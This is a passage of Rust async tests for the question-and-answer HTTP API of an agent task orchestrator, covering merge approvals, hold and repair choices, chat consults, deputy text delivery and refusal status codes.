12640        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12641        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12642        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12643        assert!(send(wrong_chat).await.is_err());
12644        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12645        assert!(send(stale).await.is_err());
12646        assert!(ui.questions.get(&q.id).unwrap().status.open());
12647        assert!(send(button.clone()).await.is_ok());
12648        assert_eq!(
12649            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12650            Some("merge")
12651        );
12652        assert!(send(button).await.is_err());
12653    }
12654
12655    #[tokio::test]
12656    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12657        let home = TempDir::new().unwrap();
12658        let ui = Arc::new(Ui::new(
12659            Queue::at(home.path().join("queue")),
12660            Questions::at(home.path().join("questions")),
12661            Talks::at(home.path().join("talks")),
12662            home.path().join("runs"),
12663            home.path().to_owned(),
12664            home.path().to_owned(),
12665        ));
12666        for choice in [crate::land::APPROVE, crate::land::HOLD] {
12667            let mut q = Question::new(
12668                "run".into(),
12669                crate::land::APPROVAL_NODE.into(),
12670                "land".into(),
12671                "Merge?".into(),
12672                String::new(),
12673                vec!["merge".into(), choice.into()],
12674            );
12675            q.routed_task = Some("task".into());
12676            q.merge_target = Some(crate::merge_decision::Target {
12677                pr: "https://example.test/pull/1".into(),
12678                head: "head-a".into(),
12679                language: "en".into(),
12680            });
12681            ui.questions.put(&mut q).unwrap();
12682            let answer = |c: &str| {
12683                question_answer(
12684                    State(ui.clone()),
12685                    Path(q.id.clone()),
12686                    Ok(Json(
12687                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12688                            .unwrap(),
12689                    )),
12690                )
12691            };
12692            let _ = answer(choice).await.unwrap();
12693            assert_eq!(
12694                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12695                Some(choice)
12696            );
12697        }
12698    }
12699
12700    #[tokio::test]
12701    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12702        let home = TempDir::new().unwrap();
12703        let ui = Arc::new(Ui::new(
12704            Queue::at(home.path().join("queue")),
12705            Questions::at(home.path().join("questions")),
12706            Talks::at(home.path().join("talks")),
12707            home.path().join("runs"),
12708            home.path().to_owned(),
12709            home.path().to_owned(),
12710        ));
12711        let mut q = Question::new(
12712            "run".into(),
12713            crate::github_text::ASK_NODE.into(),
12714            "posting-gate".into(),
12715            "Post?".into(),
12716            String::new(),
12717            vec!["use fallback".into()],
12718        );
12719        q.routed_task = Some("task".into());
12720        ui.questions.put(&mut q).unwrap();
12721        let sent = question_answer(
12722            State(ui.clone()),
12723            Path(q.id.clone()),
12724            Ok(Json(
12725                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12726                    .unwrap(),
12727            )),
12728        )
12729        .await;
12730        let _ = sent.unwrap();
12731        assert_eq!(
12732            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12733            Some("use fallback")
12734        );
12735    }
12736
12737    #[tokio::test]
12738    async fn merge_decision_api_persists_exact_target_and_selected_action() {
12739        let fx = Fixture {
12740            home: TempDir::new().unwrap(),
12741            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12742        };
12743        for choice in [
12744            crate::land::HOLD,
12745            crate::land::REPAIR,
12746            crate::land::APPROVE,
12747            crate::merge_decision::WITHDRAW,
12748            "reimplement:beta",
12749        ] {
12750            let mut q = Question::new(
12751                "old-run".into(),
12752                crate::land::APPROVAL_NODE.into(),
12753                "land".into(),
12754                "Decision".into(),
12755                "Review findings".into(),
12756                vec![
12757                    "merge".into(),
12758                    "hold".into(),
12759                    crate::land::REPAIR.into(),
12760                    crate::merge_decision::WITHDRAW.into(),
12761                    "reimplement:beta".into(),
12762                ],
12763            );
12764            q.merge_target = Some(crate::merge_decision::Target {
12765                pr: "https://github.com/example/repo/pull/42".into(),
12766                head: "exact-reviewed-head".into(),
12767                language: "ja".into(),
12768            });
12769            q.consult = Some(ask::ChatConsult {
12770                talk: "another-conversation".into(),
12771                at: jiff::Timestamp::now(),
12772            });
12773            fx.questions().put(&mut q).unwrap();
12774            let ui = Arc::new(Ui::new(
12775                fx.queue(),
12776                fx.questions(),
12777                fx.talks(),
12778                fx.runs(),
12779                fx.home.path().into(),
12780                std::path::PathBuf::from("."),
12781            ));
12782            let response = question_answer(
12783                State(ui.clone()),
12784                Path(q.id.clone()),
12785                Ok(Json(NewAnswer {
12786                    choice: Some(choice.into()),
12787                    text: None,
12788                    ..Default::default()
12789                })),
12790            )
12791            .await
12792            .unwrap();
12793            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12794            let disk = fx.questions().get(&q.id).unwrap();
12795            assert_eq!(disk.merge_target, q.merge_target);
12796            assert_eq!(disk.consult, q.consult);
12797            assert_eq!(disk.resolution().as_deref(), Some(choice));
12798            assert!(
12799                question_answer(
12800                    State(ui),
12801                    Path(q.id.clone()),
12802                    Ok(Json(NewAnswer {
12803                        choice: Some("merge".into()),
12804                        text: None,
12805                        ..Default::default()
12806                    }))
12807                )
12808                .await
12809                .is_err(),
12810                "an already settled decision cannot turn into merge approval"
12811            );
12812        }
12813    }
12814
12815    #[tokio::test]
12816    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12817        let fx = Fixture {
12818            home: TempDir::new().unwrap(),
12819            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12820        };
12821        let mut state = crate::land::tests::repair_state(true, true);
12822        state.status = RunStatus::Landing;
12823        state.parked = true;
12824        state.driver_exited = true;
12825        let mut task = Task::new(
12826            "Existing PR owner".into(),
12827            state.instruction.clone(),
12828            state.repo.clone(),
12829            Source::Human,
12830        );
12831        task.runs.push(state.id.clone());
12832        task.status = TaskStatus::Parked;
12833        fx.queue().put(&mut task).unwrap();
12834        let mut q = Question::new(
12835            state.id.clone(),
12836            crate::land::APPROVAL_NODE.into(),
12837            "land".into(),
12838            "Contested merge".into(),
12839            "Original evidence".into(),
12840            vec!["merge".into(), "hold".into()],
12841        );
12842        state.land_approval = Some(crate::run::LandApproval {
12843            question: q.id.clone(),
12844            head: "reviewed-head".into(),
12845        });
12846        state.save_under(fx.home.path()).unwrap();
12847        fx.questions().put(&mut q).unwrap();
12848        // A later repair answer on this old card supersedes this manual hold.
12849        task.hold_manual(Some("Pause this PR".into()));
12850        fx.queue().put(&mut task).unwrap();
12851        // POST directly, without a preceding GET: validation must see the
12852        // same durable upgrade that the card, CLI and chat see.
12853        let ui = Arc::new(Ui::new(
12854            fx.queue(),
12855            fx.questions(),
12856            fx.talks(),
12857            fx.runs(),
12858            fx.home.path().to_path_buf(),
12859            state.repo.clone(),
12860        ));
12861        let response = question_answer(
12862            State(ui),
12863            Path(q.id.clone()),
12864            Ok(Json(NewAnswer {
12865                choice: Some(crate::land::REPAIR.into()),
12866                text: None,
12867                ..Default::default()
12868            })),
12869        )
12870        .await
12871        .unwrap();
12872        assert_eq!(response.0.question.id, q.id);
12873        let upgraded = fx.questions().get(&q.id).unwrap();
12874        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12875        assert!(upgraded.detail.starts_with("Original evidence"));
12876        let claim = fx.queue().claim(&task.id).unwrap();
12877        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12878        assert!(
12879            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12880            "an existing driver keeps its claim"
12881        );
12882        drop(claim);
12883        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12884        let resumed = fx.queue().get(&task.id).unwrap();
12885        assert_eq!(
12886            resumed
12887                .resume_override
12888                .as_ref()
12889                .unwrap()
12890                .pinned_run
12891                .as_deref(),
12892            Some(state.id.as_str())
12893        );
12894        assert!(resumed.status.runnable());
12895        assert_eq!(resumed.instruction, task.instruction);
12896        assert_eq!(resumed.runs, task.runs);
12897        assert!(resumed.action_applied(&q.id));
12898        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12899        assert_eq!(fx.queue().list().len(), 1);
12900        assert_eq!(
12901            fx.queue().get(&task.id).unwrap().resume_override,
12902            resumed.resume_override
12903        );
12904        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12905        assert!(
12906            disk.merge_repairs.is_empty(),
12907            "only the claimed run driver may execute repair"
12908        );
12909        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12910    }
12911
12912    #[tokio::test]
12913    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12914        let fx = Fixture::start().await;
12915        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12916        let path = format!("/api/questions/{id}/answer");
12917
12918        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12919        assert_eq!(res.status, 200, "{}", res.body);
12920        let body = res.json();
12921        assert_eq!(body["status"], "answered");
12922        assert_eq!(body["answer"]["choice"], "Redis");
12923
12924        // Answered from the terminal in between the list and the tap: the UI
12925        // must be able to tell this from a bad request, so it can show the
12926        // recorded answer instead of an error.
12927        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12928        assert_eq!(again.status, 409, "{}", again.body);
12929        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12930    }
12931
12932    #[tokio::test]
12933    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12934        let home = tempfile::tempdir().unwrap();
12935        let ui = delta_test_ui(home.path());
12936        let mut q = Question::new(
12937            "task".into(),
12938            crate::land::APPROVAL_NODE.into(),
12939            "land".into(),
12940            "Explain?".into(),
12941            String::new(),
12942            vec!["hold".into()],
12943        );
12944        q.deputy = Some(ask::Deputy::new("context".into()));
12945        ui.questions.put(&mut q).unwrap();
12946        let mut cfg = stub_config();
12947        cfg.daemon.max_deputies = 0;
12948        let mut status = crate::daemon::Status::new();
12949        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12950        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12951        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12952        let error = question_say(
12953            State(ui.clone()),
12954            Path(q.id.clone()),
12955            Ok(Json(NewSay {
12956                body: "Explain the findings".into(),
12957            })),
12958        )
12959        .await
12960        .unwrap_err();
12961        assert_eq!(
12962            error.text_reason,
12963            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12964        );
12965        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12966
12967        let mut text = Question::new(
12968            "task".into(),
12969            "ask".into(),
12970            "operator".into(),
12971            "Which name?".into(),
12972            String::new(),
12973            vec![],
12974        );
12975        ui.questions.put(&mut text).unwrap();
12976        let Json(view) = question_answer(
12977            State(ui.clone()),
12978            Path(text.id.clone()),
12979            Ok(Json(NewAnswer {
12980                choice: None,
12981                text: Some("chosen name".into()),
12982                ..Default::default()
12983            })),
12984        )
12985        .await
12986        .unwrap();
12987        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12988        assert!(!ui.questions.get(&text.id).unwrap().status.open());
12989    }
12990
12991    #[tokio::test]
12992    async fn question_text_handler_admission_without_transport() {
12993        let home = tempfile::tempdir().unwrap();
12994        let ui = delta_test_ui(home.path());
12995        let mut q = Question::new(
12996            "task".into(),
12997            crate::land::APPROVAL_NODE.into(),
12998            "land".into(),
12999            "May this PR merge?".into(),
13000            String::new(),
13001            vec!["hold".into()],
13002        );
13003        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13004        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13005        ui.questions.put(&mut q).unwrap();
13006        let say = || {
13007            Ok(Json(NewSay {
13008                body: "Explain the findings".into(),
13009            }))
13010        };
13011        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13012            .await
13013            .unwrap_err();
13014        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13015        let response = rejected.into_response();
13016        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13017            .await
13018            .unwrap();
13019        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13020        assert_eq!(body["code"], "question_text_unavailable");
13021        assert_eq!(body["reason"], "deputy_exhausted");
13022        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13023        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13024        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13025        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13026            .await
13027            .unwrap();
13028        assert_eq!(view.text_delivery.state, "live");
13029        assert!(view.question.waiter.is_none());
13030        assert!(view.question.cwd.is_none());
13031        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13032        ui.questions.drop_lease(&q.id);
13033        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13034            .await
13035            .unwrap_err();
13036        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13037        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13038        let _ = question_answer(
13039            State(ui.clone()),
13040            Path(q.id.clone()),
13041            Ok(Json(NewAnswer {
13042                choice: Some("hold".into()),
13043                text: None,
13044                ..Default::default()
13045            })),
13046        )
13047        .await
13048        .unwrap();
13049        assert_eq!(
13050            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13051            Some("hold")
13052        );
13053    }
13054
13055    #[tokio::test]
13056    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13057        let fx = Fixture::start().await;
13058        let store = fx.questions();
13059        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13060        store
13061            .update(&id, |q| {
13062                q.node = crate::land::APPROVAL_NODE.to_owned();
13063                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13064                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13065                Ok(())
13066            })
13067            .unwrap();
13068        let path = format!("/api/questions/{id}/say");
13069        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13070        assert_eq!(refused.status, 422, "{}", refused.body);
13071        assert!(
13072            refused.json()["error"]
13073                .as_str()
13074                .unwrap()
13075                .contains("deputy_exhausted")
13076        );
13077        assert!(store.get(&id).unwrap().thread.is_empty());
13078
13079        // A final live deputy is usable even with no ordinary waiter/cwd.
13080        store.beat(&id, ask::WaiterKind::Deputy);
13081        let view = fx.get("/api/questions").await.json();
13082        assert_eq!(view[0]["text_delivery"]["state"], "live");
13083        let accepted = fx
13084            .post(&path, Some(r#"{"body":"explain the findings"}"#))
13085            .await;
13086        assert_eq!(accepted.status, 200, "{}", accepted.body);
13087        let before = std::fs::read(store.path_of(&id)).unwrap();
13088
13089        // The recipient exits between rendering and sending. Rejection must
13090        // preserve previously accepted text, the answer and delivery cursor.
13091        store.drop_lease(&id);
13092        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13093        assert_eq!(refused.status, 422, "{}", refused.body);
13094        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13095        let held = fx
13096            .post(
13097                &format!("/api/questions/{id}/answer"),
13098                Some(r#"{"choice":"hold"}"#),
13099            )
13100            .await;
13101        assert_eq!(held.status, 200, "{}", held.body);
13102        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13103    }
13104
13105    #[tokio::test]
13106    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13107        let repo = tempfile::tempdir().unwrap();
13108        let mut cfg = stub_config();
13109        cfg.daemon.max_deputies = 0;
13110        std::fs::write(
13111            repo.path().join("magi.toml"),
13112            toml::to_string(&cfg).unwrap(),
13113        )
13114        .unwrap();
13115        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13116        let mut status = crate::daemon::Status::new();
13117        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13118        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13119        let id = ask(&fx, "Explain?", &["hold"]);
13120        fx.questions()
13121            .update(&id, |q| {
13122                q.node = crate::land::APPROVAL_NODE.into();
13123                q.deputy = Some(ask::Deputy::new("context".into()));
13124                q.deputy.as_mut().unwrap().agent = "stub".into();
13125                Ok(())
13126            })
13127            .unwrap();
13128        cfg.daemon.max_deputies = 1;
13129        std::fs::write(
13130            repo.path().join("magi.toml"),
13131            toml::to_string(&cfg).unwrap(),
13132        )
13133        .unwrap();
13134        let view = fx.get("/api/questions").await.json();
13135        assert_eq!(view[0]["deputies_enabled"], true);
13136        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13137        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13138        let res = fx
13139            .post(
13140                &format!("/api/questions/{id}/say"),
13141                Some(r#"{"body":"Please explain"}"#),
13142            )
13143            .await;
13144        assert_eq!(res.status, 422, "{}", res.body);
13145        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13146    }
13147
13148    #[tokio::test]
13149    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13150        let fx = Fixture::start().await;
13151        let id = ask(&fx, "No seat", &[]);
13152        let store = fx.questions();
13153        let before = std::fs::read(store.path_of(&id)).unwrap();
13154        let res = fx
13155            .post(
13156                &format!("/api/questions/{id}/say"),
13157                Some(r#"{"body":"hello"}"#),
13158            )
13159            .await;
13160        assert_eq!(res.status, 422, "{}", res.body);
13161        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13162        let res = fx
13163            .post(
13164                &format!("/api/questions/{id}/answer"),
13165                Some(r#"{"text":"hello"}"#),
13166            )
13167            .await;
13168        assert_eq!(res.status, 200, "{}", res.body);
13169        assert_eq!(
13170            store.get(&id).unwrap().resolution().as_deref(),
13171            Some("hello")
13172        );
13173    }
13174
13175    #[tokio::test]
13176    async fn saying_something_appends_a_turn_without_answering() {
13177        let fx = Fixture::start().await;
13178        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13179        fx.questions().beat(&id, ask::WaiterKind::Asker);
13180        let path = format!("/api/questions/{id}/say");
13181
13182        let res = fx
13183            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13184            .await;
13185        assert_eq!(res.status, 200, "{}", res.body);
13186        let body = res.json();
13187        assert_eq!(body["status"], "open", "talking back is not a decision");
13188        assert_eq!(body["answer"], Value::Null);
13189        assert_eq!(body["thread"][0]["who"], "operator");
13190        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13191        assert_eq!(body["waiting_on_agent"], true);
13192        // Still open, still counted, still exactly one question.
13193        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13194    }
13195
13196    #[tokio::test]
13197    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13198        let fx = Fixture::start().await;
13199        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13200
13201        let list = fx.get("/api/questions").await.json();
13202        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13203
13204        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13205        assert_eq!(res.status, 409, "{}", res.body);
13206        let q = fx.questions().get(&id).unwrap();
13207        assert!(q.status.open());
13208        assert!(q.consult.is_none());
13209    }
13210
13211    #[tokio::test]
13212    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13213        let fx = Fixture::start().await;
13214        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13215        let cfg = Config {
13216            agents: vec![crate::config::AgentSpec {
13217                id: "mock".to_owned(),
13218                kind: crate::config::AgentKind::Command,
13219                model: None,
13220                command: vec!["true".to_owned()],
13221                extra_args: Vec::new(),
13222                env: Default::default(),
13223                prompt_delivery: None,
13224                max_turn_secs: None,
13225            }],
13226            ..Config::default()
13227        };
13228        let talk = crate::talk::begin(
13229            &fx.talks(),
13230            &cfg,
13231            fx.home.path().to_path_buf(),
13232            Some("mock"),
13233        )
13234        .unwrap();
13235        let mut task = Task::new(
13236            "t".to_owned(),
13237            "Do it".to_owned(),
13238            PathBuf::from("/repo/magi"),
13239            Source::Agent {
13240                run: talk.id.clone(),
13241                node: crate::queue::CHAT_NODE.to_owned(),
13242            },
13243        );
13244        task.start("20260902-000000-beef".to_owned());
13245        fx.queue().put(&mut task).unwrap();
13246
13247        let list = fx.get("/api/questions").await.json();
13248        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13249        assert_eq!(
13250            list[0]["choices"],
13251            serde_json::json!(["SQLite", "Redis"]),
13252            "the hand-over is never a choice"
13253        );
13254        fx.questions()
13255            .update(&id, |q| {
13256                q.node = crate::land::APPROVAL_NODE.into();
13257                q.choices = vec!["merge".into(), "hold".into()];
13258                Ok(())
13259            })
13260            .unwrap();
13261        let list = fx.get("/api/questions").await.json();
13262        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13263        assert_eq!(list[0]["can_consult_chat"], true);
13264        fx.questions()
13265            .update(&id, |q| {
13266                q.node = crate::bump::NOTICE_NODE.into();
13267                Ok(())
13268            })
13269            .unwrap();
13270        let list = fx.get("/api/questions").await.json();
13271        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13272        assert_eq!(list[0]["can_consult_chat"], false);
13273    }
13274
13275    #[tokio::test]
13276    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13277        let fx = Fixture::start().await;
13278        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13279        fx.questions()
13280            .update(&id, |q| {
13281                q.node = crate::land::APPROVAL_NODE.into();
13282                q.choices = vec!["merge".into(), "hold".into()];
13283                Ok(())
13284            })
13285            .unwrap();
13286        let cfg = Config {
13287            agents: vec![crate::config::AgentSpec {
13288                id: "mock".to_owned(),
13289                kind: crate::config::AgentKind::Command,
13290                model: None,
13291                command: vec!["true".to_owned()],
13292                extra_args: Vec::new(),
13293                env: Default::default(),
13294                prompt_delivery: None,
13295                max_turn_secs: None,
13296            }],
13297            ..Config::default()
13298        };
13299        // Not a git working tree, so its `magi.toml` is read from disk.
13300        let repo = fx.home.path().join("chat-repo");
13301        std::fs::create_dir_all(&repo).unwrap();
13302        let toml = repo.join("magi.toml");
13303        std::fs::write(&toml, "this is = = not toml").unwrap();
13304        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13305        let mut task = Task::new(
13306            "t".to_owned(),
13307            "Do it".to_owned(),
13308            PathBuf::from("/repo/magi"),
13309            Source::Agent {
13310                run: talk.id.clone(),
13311                node: crate::queue::CHAT_NODE.to_owned(),
13312            },
13313        );
13314        task.start("20260902-000000-beef".to_owned());
13315        fx.queue().put(&mut task).unwrap();
13316
13317        let path = format!("/api/questions/{id}/consult");
13318        let res = fx.post(&path, None).await;
13319        assert!(res.status >= 400, "{}", res.body);
13320        assert!(fx.questions().get(&id).unwrap().consult.is_none());
13321        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13322
13323        std::fs::write(&toml, "").unwrap();
13324        let res = fx.post(&path, None).await;
13325        assert_eq!(res.status, 202, "{}", res.body);
13326        assert!(fx.questions().get(&id).unwrap().consult.is_some());
13327        let q = fx.questions().get(&id).unwrap();
13328        assert!(q.status.open());
13329        assert!(q.answer.is_none());
13330        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13331        assert_eq!(res.json()["can_consult_chat"], true);
13332        let list = fx.get("/api/questions").await.json();
13333        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13334        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13335
13336        let res = fx
13337            .post(
13338                &format!("/api/questions/{id}/answer"),
13339                Some(r#"{"choice":"hold"}"#),
13340            )
13341            .await;
13342        assert_eq!(res.status, 200, "{}", res.body);
13343        assert_eq!(res.json()["answer"]["choice"], "hold");
13344        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13345        assert_eq!(res.json()["can_consult_chat"], false);
13346        assert_eq!(fx.post(&path, None).await.status, 409);
13347
13348        let mut talk = fx.talks().get(&talk.id).unwrap();
13349        crate::talk::close(&mut talk, &fx.talks()).unwrap();
13350        let list = fx.get("/api/questions").await.json();
13351        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13352        assert_eq!(list[0]["origin_chat_closed"], true);
13353        assert_eq!(list[0]["can_consult_chat"], false);
13354
13355        fx.talks().remove(&talk.id).unwrap();
13356        let list = fx.get("/api/questions").await.json();
13357        assert_eq!(list[0]["origin_chat"], Value::Null);
13358        assert_eq!(list[0]["origin_chat_closed"], false);
13359        assert_eq!(list[0]["can_consult_chat"], false);
13360    }
13361
13362    #[tokio::test]
13363    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13364        let fx = Fixture::start().await;
13365        let store = fx.questions();
13366        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13367        store.beat(&id, ask::WaiterKind::Asker);
13368        assert_eq!(
13369            fx.get("/api/health").await.json()["questions_needs_owner"],
13370            1
13371        );
13372
13373        // The owner asks back instead of deciding: the ask bar, the nav badge
13374        // and the title must stop naming this question, because there is
13375        // nothing to decide until the agent answers - `status` alone cannot
13376        // say that, which is the whole reason `questions_needs_owner` exists
13377        // alongside `questions_open`.
13378        let res = fx
13379            .post(
13380                &format!("/api/questions/{id}/say"),
13381                Some(r#"{"body":"why not Postgres?"}"#),
13382            )
13383            .await;
13384        assert_eq!(res.status, 200, "{}", res.body);
13385        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13386        assert_eq!(
13387            fx.get("/api/health").await.json()["questions_needs_owner"],
13388            0,
13389            "waiting on the agent is not waiting on the owner"
13390        );
13391
13392        // `magi ask --thread` replying is what brings the owner count back -
13393        // the same event that would resume the CLI call blocked in `magi
13394        // ask`.
13395        let mut q = store.get(&id).expect("get");
13396        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13397            .expect("reply");
13398        store.put(&mut q).expect("put");
13399        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13400        assert_eq!(
13401            fx.get("/api/health").await.json()["questions_needs_owner"],
13402            1,
13403            "the agent's reply is what should light the banner back up"
13404        );
13405    }
13406
13407    #[tokio::test]
13408    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13409        let fx = Fixture::start().await;
13410        let store = fx.questions();
13411
13412        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13413        let res = fx
13414            .post(
13415                &format!("/api/questions/{empty_id}/say"),
13416                Some(r#"{"body":"   "}"#),
13417            )
13418            .await;
13419        assert_eq!(res.status, 400, "{}", res.body);
13420
13421        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13422        let mut answered = store.get(&answered_id).expect("get");
13423        answered
13424            .answer(Answer::Choice("SQLite".to_owned()))
13425            .expect("answer");
13426        store.put(&mut answered).expect("put");
13427        let res = fx
13428            .post(
13429                &format!("/api/questions/{answered_id}/say"),
13430                Some(r#"{"body":"still there?"}"#),
13431            )
13432            .await;
13433        assert_eq!(res.status, 409, "{}", res.body);
13434
13435        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13436        let mut abandoned = store.get(&abandoned_id).expect("get");
13437        abandoned.abandon("timed out");
13438        store.put(&mut abandoned).expect("put");
13439        let res = fx
13440            .post(
13441                &format!("/api/questions/{abandoned_id}/say"),
13442                Some(r#"{"body":"still there?"}"#),
13443            )
13444            .await;
13445        assert_eq!(res.status, 409, "{}", res.body);
13446    }
13447
13448    #[tokio::test]
13449    async fn an_answer_the_question_does_not_offer_is_refused() {
13450        let fx = Fixture::start().await;
13451        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13452        let path = format!("/api/questions/{id}/answer");
13453
13454        for body in [
13455            r#"{"choice":"Postgres"}"#,
13456            r#"{"text":"whatever you think"}"#,
13457            r#"{"choice":"Redis","text":"both"}"#,
13458            r#"{}"#,
13459        ] {
13460            let res = fx.post(&path, Some(body)).await;
13461            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13462            assert!(res.json()["error"].is_string(), "{}", res.body);
13463        }
13464        // Nothing above may have answered it.
13465        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13466    }
13467
13468    #[tokio::test]
13469    async fn a_free_text_question_takes_text_and_not_a_choice() {
13470        let fx = Fixture::start().await;
13471        let id = ask(&fx, "What should the flag be called?", &[]);
13472        fx.questions().beat(&id, ask::WaiterKind::Asker);
13473        let path = format!("/api/questions/{id}/answer");
13474
13475        assert_eq!(
13476            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13477            400
13478        );
13479        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13480        assert_eq!(res.status, 200, "{}", res.body);
13481        assert_eq!(res.json()["answer"]["text"], "--json");
13482    }
13483
13484    #[tokio::test]
13485    async fn an_unknown_question_is_a_json_404() {
13486        let fx = Fixture::start().await;
13487        let res = fx
13488            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13489            .await;
13490        assert_eq!(res.status, 404, "{}", res.body);
13491        assert!(res.json()["error"].is_string());
13492    }
13493
13494    #[tokio::test]
13495    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13496        let fx = Fixture::start().await;
13497        let questions = Questions::at(fx.home.path().join("questions"));
13498        let store = Notices::at(fx.home.path().join("notifications"));
13499        let mut q = ask::Question::new(
13500            "t1".into(),
13501            "conduct".into(),
13502            "conductor".into(),
13503            "Continue?".into(),
13504            String::new(),
13505            Vec::new(),
13506        );
13507        questions.put(&mut q).unwrap();
13508        let mut n = Notice::warn("task:t1", "Task t1 is held.");
13509        n.covered_by = Some(q.id.clone());
13510        let n = store.raise(n).unwrap();
